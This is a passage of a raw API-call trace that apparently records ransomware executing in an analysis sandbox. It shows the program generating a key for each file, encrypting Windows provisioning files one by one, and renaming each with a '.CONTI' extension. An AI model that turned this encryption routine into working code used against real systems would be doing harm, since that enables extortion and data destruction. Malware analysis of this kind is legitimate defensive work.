	[0113.723] WriteFile (in: hFile=0x398, lpBuffer=0x6b53de4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6b53de4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.730] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.730] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.730] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d0, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0113.730] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.730] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.730] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.730] WriteFile (in: hFile=0x398, lpBuffer=0x6b53dd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6b53dd8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0113.730] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.730] CloseHandle (hObject=0x398) returned 1
	[0113.730] GetProcessHeap () returned 0x1720000
	[0113.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.730] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0113.731] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.731] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.731] GetProcessHeap () returned 0x1720000
	[0113.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.731] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.731] GetProcessHeap () returned 0x1720000
	[0113.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9620 | out: hHeap=0x1720000) returned 1
	[0113.731] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0113.731] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b534c0 | out: phKey=0x6b534c0*=0x17c7ef0) returned 1
	[0113.731] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b534c4, pdwDataLen=0x46fff1c | out: pbData=0x6b534c4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0113.732] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.732] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0113.733] GetLastError () returned 0x0
	[0113.733] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=723) returned 1
	[0113.733] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0113.733] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.733] SetEndOfFile (hFile=0x398) returned 1
	[0113.733] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.733] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.733] WriteFile (in: hFile=0x398, lpBuffer=0x6b534c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6b534c4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.740] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.740] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d3, lpOverlapped=0x0) returned 1
	[0113.740] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d3, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0113.740] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.740] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.740] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.740] WriteFile (in: hFile=0x398, lpBuffer=0x6b534b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6b534b8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0113.740] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.740] CloseHandle (hObject=0x398) returned 1
	[0113.740] GetProcessHeap () returned 0x1720000
	[0113.740] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.740] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.740] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.740] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.741] GetProcessHeap () returned 0x1720000
	[0113.741] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.741] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0113.741] GetProcessHeap () returned 0x1720000
	[0113.741] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c7588 | out: hHeap=0x1720000) returned 1
	[0113.741] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0113.741] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b53b98 | out: phKey=0x6b53b98*=0x17c7ef0) returned 1
	[0113.741] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53b9c, pdwDataLen=0x46fff1c | out: pbData=0x6b53b9c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0113.742] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.744] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0113.745] GetLastError () returned 0x0
	[0113.745] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=705) returned 1
	[0113.745] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c1
	[0113.745] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.745] SetEndOfFile (hFile=0x398) returned 1
	[0113.745] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.745] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.745] WriteFile (in: hFile=0x398, lpBuffer=0x6b53b9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6b53b9c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.747] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.747] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2c1, lpOverlapped=0x0) returned 1
	[0113.747] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2c1, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d0) returned 1
	[0113.747] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.747] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.747] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.747] WriteFile (in: hFile=0x398, lpBuffer=0x6b53b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6b53b90*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0113.747] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.747] CloseHandle (hObject=0x398) returned 1
	[0113.747] GetProcessHeap () returned 0x1720000
	[0113.747] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.747] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml"
	[0113.747] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.747] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.748] GetProcessHeap () returned 0x1720000
	[0113.748] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.748] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0113.748] GetProcessHeap () returned 0x1720000
	[0113.748] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4dd8 | out: hHeap=0x1720000) returned 1
	[0113.748] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0113.748] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b51ba8 | out: phKey=0x6b51ba8*=0x17c8330) returned 1
	[0113.749] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51bac, pdwDataLen=0x46fff1c | out: pbData=0x6b51bac*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0113.749] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.749] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0113.750] GetLastError () returned 0x0
	[0113.750] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=707) returned 1
	[0113.750] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0113.750] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.750] SetEndOfFile (hFile=0x398) returned 1
	[0113.750] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.750] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.750] WriteFile (in: hFile=0x398, lpBuffer=0x6b51bac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6b51bac*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.030] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.030] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2c3, lpOverlapped=0x0) returned 1
	[0115.030] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2c3, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d0) returned 1
	[0115.030] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.030] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2d0, lpOverlapped=0x0) returned 1
	[0115.031] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.031] WriteFile (in: hFile=0x398, lpBuffer=0x6b51ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6b51ba0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0115.031] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.031] CloseHandle (hObject=0x398) returned 1
	[0115.533] GetProcessHeap () returned 0x1720000
	[0115.533] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b6a028
	[0115.533] lstrcpyW (in: lpString1=0x6b6a028, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml"
	[0115.533] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml.CONTI"
	[0115.533] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0117.056] GetProcessHeap () returned 0x1720000
	[0117.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b6a028 | out: hHeap=0x1720000) returned 1
	[0117.069] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0117.069] GetProcessHeap () returned 0x1720000
